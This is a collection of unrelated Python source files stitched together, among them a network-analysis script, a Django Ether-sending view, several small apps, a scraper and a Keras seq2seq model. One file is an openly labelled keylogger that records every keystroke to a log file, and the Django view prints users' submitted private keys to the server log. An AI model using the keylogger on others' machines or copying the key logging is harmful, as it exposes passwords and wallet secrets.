from collections import Counter
import networkx as nx
from networkx.algorithms import bipartite
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import ast

def weight_function(G,u,v):
    w = 0
    for node in G[u].keys():
        if node in G[v].keys():
            w = w + G[u][node]['weight'] + G[v][node]['weight']
    return w/200

def node_weight(G,u):
    w = 0
    for v in G[u].keys():
        w = w + G[u][v]['weight']
    return w

def get_topics(topics, mode='p', top=0.5):
    t = sorted(topics, key=lambda x:x[1], reverse=True)
    t2 = []
    s = 0
    i = 0
    if mode == 'p':
        while s < top:
            t2.append(t[i])
            s += t[i][1]
            i += 1
    elif mode == 'n':
        while i < top:
            t2.append(t[i])
            i += 1
    return t2

## Loading data

topicDF = pd.read_csv('../data/topicData.csv')
rownr = topicDF.shape[0]

## Building network

network = nx.Graph()
topics = set()
for i in range(rownr):
    if not i%1000:
        print(i)
    mep = topicDF['name'].iloc[i]
    topic = get_topics(ast.literal_eval(topicDF['topic'].iloc[i]))
    for t in topic:
        if t[0] not in [2,3,8,11,14] and t[1] > 0:
            topics.add(t[0])
            edge = (mep,t[0])
            if edge in network.edges():
                network[mep][t[0]]['weight'] += t[1]
            else:
                network.add_edge(mep, t[0], weight=t[1])

bp = dict((n,n in topics) for n in network.nodes())
nx.set_node_attributes(network, bp, 'bipartite')
top_nodes = [n for n, d in network.nodes(data=True) if d['bipartite']==1]
bottom_nodes = [n for n, d in network.nodes(data=True) if d['bipartite']==0]
#network = bipartite.generic_weighted_projected_graph(network,bottom_nodes,weight_function=weight_function)

w = [network[e[0]][e[1]]['weight'] for e in network.edges()]
thresh = min(w) + (max(w) - min(w)) * 0.5
print(thresh)

removeE = [e for e in network.edges() if network[e[0]][e[1]]['weight'] < thresh]
network.remove_edges_from(removeE)

removeN = [node for node in network.nodes() if dict(network.degree())[node] == 0]
network.remove_nodes_from(removeN)

print(len(network.nodes()))

## Analyzing network

W = nx.to_numpy_matrix(network, nodelist=network.nodes())
D = np.diag(np.sum(W,axis=1).A1)
L = D - W
D_sqrt = np.diag(np.sqrt(1/np.diag(D)))
L_symm = np.dot(D_sqrt,np.dot(L,D_sqrt))

k = 2
_, v = sp.linalg.eigh(L_symm,eigvals=(1,k))

## Drawing network

if k == 2:
    plt.subplot(1,2,2)
    plt.plot(v[:,0],v[:,1],'.r')

    plt.subplot(1,2,1)
    pos=nx.spring_layout(network,iterations=5, weight='weight')
    #pos=nx.shell_layout(network,nlist=[top_nodes,bottom_nodes])

    colors = ['b' if node in topics else 'g' if dict(network.degree())[node] == 1 else'r' for node in network.nodes()]
    sizes = [500 if node in topics else 10 * node_weight(network, node) for node in network.nodes()]
    weights = [network[u][v]['weight'] for u,v, in network.edges()]
    labels = {}
    for i in topics:
        if i in network.nodes():
            labels[i] = i

    nx.draw_networkx_nodes(network, pos, with_labels=False, node_color=colors, node_size=sizes, alpha=0.4)
    nx.draw_networkx_edges(network, pos, width=weights)
    if len(labels) > 0:
        nx.draw_networkx_labels(network,pos,labels,font_color='w')
    plt.axis('off')

elif k > 2:
    fig = plt.figure()
    ax = Axes3D(fig)
    ax.scatter(v[:,0],v[:,1],v[:,2],'.r')
plt.show()


from django.shortcuts import render, redirect
from django.contrib.auth import authenticate, login, logout
from django.contrib import messages
from Ethapp1.Crypto import *

def home(request):
	return render(request, 'log-in/home.html', {})
def EthApp(request):
		if request.method == 'POST':
			address1 = request.POST['address1']
			address2 = request.POST['address2']
			Private_key = request.POST['privatekey']
			value = request.POST['value']
			print(Private_key)
			send(address1,address2,Private_key,value)
			messages.success(request, 'You Ether has been sent!')
			return redirect('home')

		else:
			return render(request, 'log-in/index.html', {})

# Create your views here.


#Simple Python Keylogger

from pynput.keyboard import Key, Listener
import logging
log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log2.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()


from string import digits, ascii_lowercase
from random import choices
from os.path import isfile
from validators import url

from rich import print

from .base import BaseData
from tinydb import Query
import validators
from requests.exceptions import ConnectionError

from .commons import copylocalImg
from .exception import DataException
from .settings import SettingsData
from .segment import Segment

def _mkHex(l:int=8):
    pool = choices(population=(digits + ascii_lowercase), k=500)
    return ''.join(choices(population=pool, k=l))

class ScreenData(BaseData):

    def __init__(self, table: str = 'screenData', requiredKeys='hex,title,soundtrack,picture,dm_notes,pl_notes,campain:int'):
        super().__init__(table=table, requiredKeys=requiredKeys)
        self.settings = SettingsData()

    def _checkHex(self, hex:str):
        db = self.createObj()
        exists = db.tbl.contains(Query().hex == hex)
        db.close()

        return exists

    def create(self, soundtrack:str, picture:str, campain:int = 0, title:str = 'screen', dm_notes:str = '', pl_notes:str = ''):
        row = {}
        hexval = _mkHex(l=4)

        #makes a unique hex
        while self._checkHex(hexval) == True:
            hexval = _mkHex(l=4)

        row['hex'] = hexval

        #checks the url is vailid
        if validators.url(soundtrack) == False:
            raise TypeError('the sound track is not a valid url')

        row['soundtrack'] = soundtrack

        if isfile(picture) == False and url(picture) == False:
            raise TypeError('the picture needs to a local image or a url')

        try:
            row['picture'] = copylocalImg(picture)
        except ConnectionError as err:
            row['picture'] = ''

        if isinstance(campain, int) == False:
            raise TypeError('the campain needs to a int')

        if campain == 0:
            campain = self.settings.get('Active Campain')

        row['campain'] = campain

        if isinstance(title, str) == False:
            raise TypeError('the title needs to be string')

        if title == None or title == 'screen':
            title = ""

        row['title'] = str(title)

        if isinstance(dm_notes, str) == False:
            raise TypeError('the dm_notes need to be type string')

        if dm_notes == None:
            dm_notes = ""

        row['dm_notes'] = dm_notes

        if isinstance(pl_notes, str) == False:
            raise TypeError('the pl_notes need to be type string')

        if pl_notes == None:
            pl_notes = ""

        row['pl_notes'] = pl_notes

        created_id = super().create(row)
        return (created_id, row['hex'])

    def getByHex(self, hexval:str):

        seg = Segment()

        db = self.createObj()
        row = db.tbl.get(Query().hex == hexval)
        db.close()

        row['dm_notes'] = seg.addSegmentToString(row['dm_notes'])
        row['pl_notes'] = seg.addSegmentToString(row['pl_notes'])

        return row

    def getListOfHexs(self):
        rows = []
        for row in self.readAll():
            rows.append(row['hex'])
        return rows

    def readBycampain(self, campain_id:int):

        db = self.createObj()
        rows = db.tbl.search(Query().campain == campain_id)
        db.close()

        return rows

    def update(self, hex:str, tag:str, value:any):

        if isinstance(value, str) == False:
            return

        db = self.createObj()
        updated_ids = db.tbl.update({tag: value}, Query().hex == hex)
        db.close()
        return updated_ids

    def removeByHex(self, hex:str):
        db = self.createObj()
        if db.tbl.contains(Query().hex == hex) == False:
            raise DataException('the passed hex dose not exist')
        db.tbl.remove(Query().hex == hex)
        db.close()

        return True

    def copyScreen(self, hex:str, title:str):

        if self.exists('hex', hex) == False:
            raise DataException('hex dose not excist')

        data = self.getByHex(hex)

        return self.create(
            soundtrack=data['soundtrack'],
            picture=data['picture'],
            campain=data['campain'],
            dm_notes=data['dm_notes'],
            pl_notes=data['pl_notes'],
            title=title
        )


"""first revision

Revision ID: 23e5fea252dd
Revises:
Create Date: 2022-12-12 12:47:28.801354

"""
import sqlalchemy as sa
from alembic import op

# revision identifiers, used by Alembic.
revision = "23e5fea252dd"
down_revision = None
branch_labels = None
depends_on = None

def upgrade() -> None:
    op.create_table(
        "service_client",
        sa.Column("id", sa.Integer, sa.Identity()),
        sa.Column("name", sa.String(200), nullable=False),
        sa.Column("service_admin_email", sa.String(128), nullable=True),
        sa.Column("api_key", sa.String(300), nullable=False),
        sa.Column("can_append", sa.Boolean, nullable=False, server_default="true"),
        sa.Column("can_write", sa.Boolean, nullable=False, server_default="false"),
        sa.Column("can_delete", sa.Boolean, nullable=False, server_default="false"),
        sa.Column("can_read", sa.Boolean, nullable=False, server_default="true"),
        sa.PrimaryKeyConstraint("id"),
    )
    op.create_index(op.f("ix_service_client_api_key"), "service_client", ["api_key"], unique=True)

    op.create_table(
        "labeler",
        sa.Column("id", sa.Integer, sa.Identity()),
        sa.Column("display_name", sa.String(96), nullable=False),
        sa.Column("discord_username", sa.String(96), nullable=True),
        sa.Column(
            "created_date",
            sa.DateTime,
            nullable=False,
            server_default=sa.func.current_timestamp(),
        ),
        sa.Column("is_enabled", sa.Boolean, nullable=False, server_default="true"),
        sa.Column("notes", sa.String(10 * 1024), nullable=True),
        sa.PrimaryKeyConstraint("id"),
        sa.UniqueConstraint("discord_username"),
    )

    op.create_table(
        "prompt",
        sa.Column("id", sa.Integer, sa.Identity()),
        sa.Column("labeler_id", sa.Integer, nullable=False),
        sa.Column("prompt", sa.Text, nullable=False),
        sa.Column("response", sa.Text, nullable=True),
        sa.Column("lang", sa.String(32), nullable=True),
        sa.Column(
            "created_date",
            sa.DateTime(),
            nullable=False,
            server_default=sa.func.current_timestamp(),
        ),
        sa.ForeignKeyConstraint(
            ["labeler_id"],
            ["labeler.id"],
        ),
        sa.PrimaryKeyConstraint("id"),
    )
    op.create_index(op.f("prompt_labeler_id"), "prompt", ["labeler_id"], unique=False)

def downgrade() -> None:
    op.drop_index(op.f("prompt_labeler_id"), table_name="prompt")
    op.drop_table("prompt")

    op.drop_table("labeler")

    op.drop_index(op.f("ix_service_client_api_key"), table_name="service_client")
    op.drop_table("service_client")


#-----------------------------AUTHOR: Follow on Instagram @_.b_a_a_g_h_i._ -------------------------------#

import cx_Freeze
import sys
base = None
if sys.platform == "win32":
    base = "WIN32GUI"
shortcut_table = [
    ("DesktopShortcut",
    "DekstopFolder",
    "Iron Gauntlet",
    "TARGETDIR",
    "[TARGETDIR]\IRON_GAUNTLET.exe",
    None,
    None,
    None,
    None,
    None,
    "TARGETDIR",
    )
]
msi_data = {"Shortcut": shortcut_table}

bdist_msi_options = {'data': msi_data}

executables = [cx_Freeze.Executable(script="IRON_GAUNTLET.py", icon='icon.ico',base=base)]

cx_Freeze.setup(
    version="1.0",
    descroption="IRON MAN VS THANOS",
    author="Baaghi:-)",
    name="Iron Gauntlet",
    options={"build.exe":{"packages":["pygame"], "include files":['icon.ico','Grenade+1.mp3','Gun+Silencer.mp3','Avengers Suite (Theme) 128 kbps.mp3','icon_gauntlet.jfif','GY8Rg8f.png','ironmannew.png','thanos1.png']},
             "bdist.msi": bdist_msi_options,
             },
    executables = executables

    )

#-----------------------------AUTHOR: Follow on Instagram @_.b_a_a_g_h_i._ -------------------------------#


#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from __future__ import print_function
import argparse
import random
import copy
import os
import time

def neigboor_count(maps, strin, el, animal, height, width):
    fish_neighb = 0
    if el > 0 and maps[strin][el - 1] == animal:
        fish_neighb += 1
    if el + 1 < width and maps[strin][el + 1] == animal:
        fish_neighb += 1
    if strin + 1 < height and maps[strin + 1][el] == animal:
        fish_neighb += 1
    if strin > 0 and maps[strin - 1][el] == animal:
        fish_neighb += 1
    if strin > 0 and el > 0 and maps[strin - 1][el - 1] == animal:
        fish_neighb += 1
    if strin > 0 and el + 1 < width and maps[strin - 1][el + 1] == animal:
        fish_neighb += 1
    if el + 1 < width and strin + 1 < height and maps[strin + 1][el + 1] == animal:
        fish_neighb += 1
    if el > 0 and strin + 1 < height and maps[strin + 1][el - 1] == animal:
        fish_neighb += 1
    return fish_neighb

def change_el(maps, strin, el, height, width):
    if maps[strin][el] == '🗿':
        return '🗿'
    if maps[strin][el] == '🐠' or maps[strin][el] == '🦐':
        animal = maps[strin][el]
        fish_neighb = neigboor_count(maps, strin, el, animal, height, width)
        if fish_neighb < 2 or fish_neighb > 3:
            return '🌊'
        else:
            return animal
    else:
        fish_neighb = neigboor_count(maps, strin, el, '🐠', height, width)
        shrimp_neighb = neigboor_count(maps, strin, el, '🦐', height, width)
        if fish_neighb == 3:
            return '🐠'
        if shrimp_neighb == 3:
            return '🦐'
        return '🌊'

rand = ['🦐', '🐠', '🗿', '🌊']
parser = argparse.ArgumentParser(description='Height and width of ocean')
parser.add_argument('height', type=int)
parser.add_argument('width', type=int)
args = parser.parse_args()
height = args.height
width = args.width
maps = [None] * height
for i in range(height):
    maps[i] = [None] * width
for strin in range(height):
    for el in range(width):
        maps[strin][el] = random.choice(rand)
while True:
    os.system('cls' if os.name == 'nt' else 'clear')
    for strin in range(height):
        for el in range(width):
            print(maps[strin][el], end='', sep='')
            maps[strin][el] = change_el(maps, strin, el, height, width)
        print()
    time.sleep(2)


from flask import Flask
from flask_restful import Api
from resources.earthquake import Earthquake_by_date, Earthquake_by_magnitude

app = Flask(__name__)
api = Api(app)

api.add_resource(Earthquake_by_date, '/searchEarthquake/getEarthquakesByDates')
api.add_resource(Earthquake_by_magnitude,
                 '/searchEarthquake/getEarthquakesByMagnitudes')

if __name__ == '__main__':
    app.run(debug=True, port=8099)


from src.firestore.auth_error import AuthError
from src.firestore.read_value import read_value
from src.login.login import login
from src.readFlightTime.models.flight import Flight
from src.temperature.read import read_temperature
from src.firestore.send_temperature import send_temperatue
from src.readFlightTime.read_flightTime import read_flightTime
import time
from datetime import datetime

from src.write_flight_time_cache.write_flight_time_cache import writeFlightHour, writeFlightTime, writeFlightTotal

def main():
    token = login()
    flightList = []
    count = 0
    while True:
        try:
            if count == 150:
                break
            start = time.time()
            value = read_value("xC8UGLSYT8z2pxwKaAeY", token)
            print("Value: {}".format(value))
            flightTime = (time.time() - start) * 1000
            flightTimeString = str(flightTime)
            print("Flight time: {}".format(flightTimeString))
            dateNow = datetime.today()
            flight = Flight(flightTimeString, dateNow)
            flightList.append(flight)
            count += 1
        except AuthError as e:
            token = login(use_cache=False)
        except Exception as e:
            print("Error: {}".format(e))
            break
    writeFlightTime(flightList)
    writeFlightHour(flightList)
    writeFlightTotal(flightList)

if __name__ == '__main__':
    main()


import os, time, requests, json, re
from urllib import parse

class HonorOfKings:

	def __init__(self, save_path='./heros'):
		self.save_path = save_path
		self.time = str(time.time()).split(".")
		self.url = "https://apps.game.qq.com/cgi-bin/ams/module/ishow/V1.0/query/workList_inc.cgi?activityId=2735&sVerifyCode=ABCD&sDataType=JSON&iListNum=20&totalpage=0&page={}&iOrder=0&iSortNumClose=1&iAMSActivityId=51991&_everyRead=true&iTypeId=2&iFlowId=267733&iActId=2735&iModuleId=2735&_=%s" % self.time[0]

	def hello(self):
		print('*' * 20)
		print(' ' * 18 + '王者荣耀皮肤壁纸正在下载')
		print(' ' * 5 + '作者：')
		print('*' * 50)
		return self

	def request(self, url):
		response = requests.get(url)
		assert response.status_code == 200
		return response

	def run(self):
		size = input('请输入您想下载的格式序号，默认6：')
		size = size if size and int(size) in [1, 2, 3, 4, 5, 6, 7, 8] else 6
		page = 0
		offset = 0
		total_response = self.request(self.url.format(page)).text
		total_res = json.loads(total_response)
		total_page = --int(total_res['iTotalPages'])
		print('-----总共{}页-----'.format(total_page))

		while True:
			if offset > total_page:
				break
			url = self.url.format(offset)
			response = self.request(url).text
			result = json.loads(response)
			now = 0
			for item in result["List"]:
				now += 1
				hero_name = parse.unquote(item["sProdName"]).split('-')[0]
				hero_name = re.sub(r'[【】:.<>|·@#$%^&() ]', '', hero_name)
				print('---正在下载第 {} 页 {} 英雄 进度{}/{}...' . format(offset, hero_name, now, len(result["List"])))
				hero_url = parse.unquote(item['sProdImgNo_{}'.format(str(size))])
				save_path = self.save_path + '/' + hero_name
				save_name = save_path + '/' + hero_url.split('/')[-2]
				if not os.path.exists(save_path):
					os.makedirs(save_path)
				if not os.path.exists(save_name):
					with open(save_name, 'wb') as f:
						response_content = self.request(hero_url.replace("/200", "/0")).content
						f.write(response_content)
			offset += 1
		print('---下载完成...')

if __name__ == '__main__':
	HonorOfKings().hello().run()


# -*- coding: utf-8 -*-
"""
Created on Tue Oct 23 21:37:36 2018

@author: prithvi
"""

import numpy as np
import random
from keras.layers import Input, LSTM, Dense, Embedding
from keras.models import Model
from sklearn.preprocessing import OneHotEncoder

class LSTMSeq2Seq:
    #Building an LSTM network to generate sequences from input sequences
    #This encoder - decoder architecture can be expanded to multiple use cases
    #Here we will look at a simple sorting use case
    def __init__(self, num_classes, len_max_seq, embed_dim):
        self.num_classes = num_classes
        self.len_max_seq = len_max_seq
        self.embed_dim = embed_dim
        self.build_net()

    def build_net(self):
        enc_input = Input([self.len_max_seq,])
        enc_embed = Embedding(self.num_classes,self.embed_dim)(enc_input)
        enc_output, hs, cs = LSTM(50,return_state=True)(enc_embed)

        dec_input = Input([self.len_max_seq,])
        dec_embed = Embedding(self.num_classes,self.embed_dim)(dec_input)
        decoder = LSTM(50,return_sequences=True)
        dec_output = decoder(dec_embed,initial_state=[hs,cs])

        dec_output = Dense(self.num_classes,activation='softmax')(dec_output)
        self.model = Model(inputs=[enc_input,dec_input], outputs=dec_output)
        self.model.compile(loss='categorical_crossentropy', optimizer='Adam', metrics=['accuracy'])

    def train(self, data_generator, num_epochs):
        self.model.fit_generator(generator = data_generator,
                                   steps_per_epoch = 200,
                                   epochs = num_epochs)

    def predict(self, input_sample):
        return self.model.predict(input_sample)

class train_gen:
    def __init__(self,num_samples):
        self.ns = num_samples
        self.read_files()
        self.int_mapping()
        self.ohe = OneHotEncoder(n_values=self.num_vocab,sparse=False)

    def read_files(self):
        f = open('features.txt') #Readme.md
        self.source_list = f.read().splitlines()
        f.close()
        f = open('target.txt') #Readme.md
        self.target_list = f.read().splitlines()
        f.close()
        self.len_max_seq = max([len(i) for i in self.source_list])
        self.len_list = len(self.source_list)

    def int_mapping(self):
        self.unique_char = list(set(list(''.join(self.source_list))))
        self.unique_char += ['<st>','<end>','<pad>']
        self.num_vocab = len(self.unique_char)
        self.char_to_int = {}
        self.int_to_char = {}
        for i in range(len(self.unique_char)):
            self.char_to_int[self.unique_char[i]] = i
            self.int_to_char[i] = self.unique_char[i]

    def get_one_sample(self):
        idx = random.randint(0,self.len_list-1)
        data_enc = list(self.source_list[idx])
        data_enc = ['<pad>']*(self.len_max_seq-len(data_enc)) + data_enc
        data_enc = [self.char_to_int[i] for i in data_enc]
        data_dec = ['<st>'] + ['<pad>']*(len(data_enc)-1)
        data_dec = [self.char_to_int[i] for i in data_dec]

        target = list(self.target_list[idx])
        target = target + ['<pad>']*(self.len_max_seq-len(target))
        target = [self.char_to_int[i] for i in target]

        return data_enc, data_dec, target

    def gen(self):
        while(1):
            data_enc = np.zeros([self.ns,self.len_max_seq,])
            data_dec = np.zeros([self.ns,self.len_max_seq,])
            target = np.zeros([self.ns,self.len_max_seq,self.num_vocab])
            for i in range(self.ns):
                de,dd,t = self.get_one_sample()
                data_enc[i] = de
                data_dec[i] = dd
                t = np.expand_dims(np.array(t),axis=1)
                t = self.ohe.fit_transform(t)
                target[i] = t
            yield [data_enc, data_dec], target

    def predict_on_input(self,net,text):
        data_enc = list(text)
        data_enc = ['<pad>']*(self.len_max_seq-len(data_enc)) + data_enc
        data_enc = [self.char_to_int[i] for i in data_enc]
        data_enc = np.array(data_enc)
        data_enc = np.expand_dims(data_enc,axis=0)
        data_dec = ['<st>'] + ['<pad>']*(data_enc.shape[1]-1)
        data_dec = [self.char_to_int[i] for i in data_dec]
        data_dec = np.array(data_dec)
        data_dec = np.expand_dims(data_dec,axis=0)
        sorted_text = list(np.argmax(net.predict([data_enc,data_dec]),axis=2)[0])
        sorted_text = [self.int_to_char[i] for i in sorted_text]
        return sorted_text

if __name__ == "__main__":
    batch_size = 64
    embed_dim = 16
    num_epochs = 20
    tg = train_gen(batch_size)
    tg_gen = tg.gen()
    net = LSTMSeq2Seq(tg.num_vocab,tg.len_max_seq,16)
    net.train(tg_gen,num_epochs)
    st = tg.predict_on_input(net,'gftghy')
    print(st)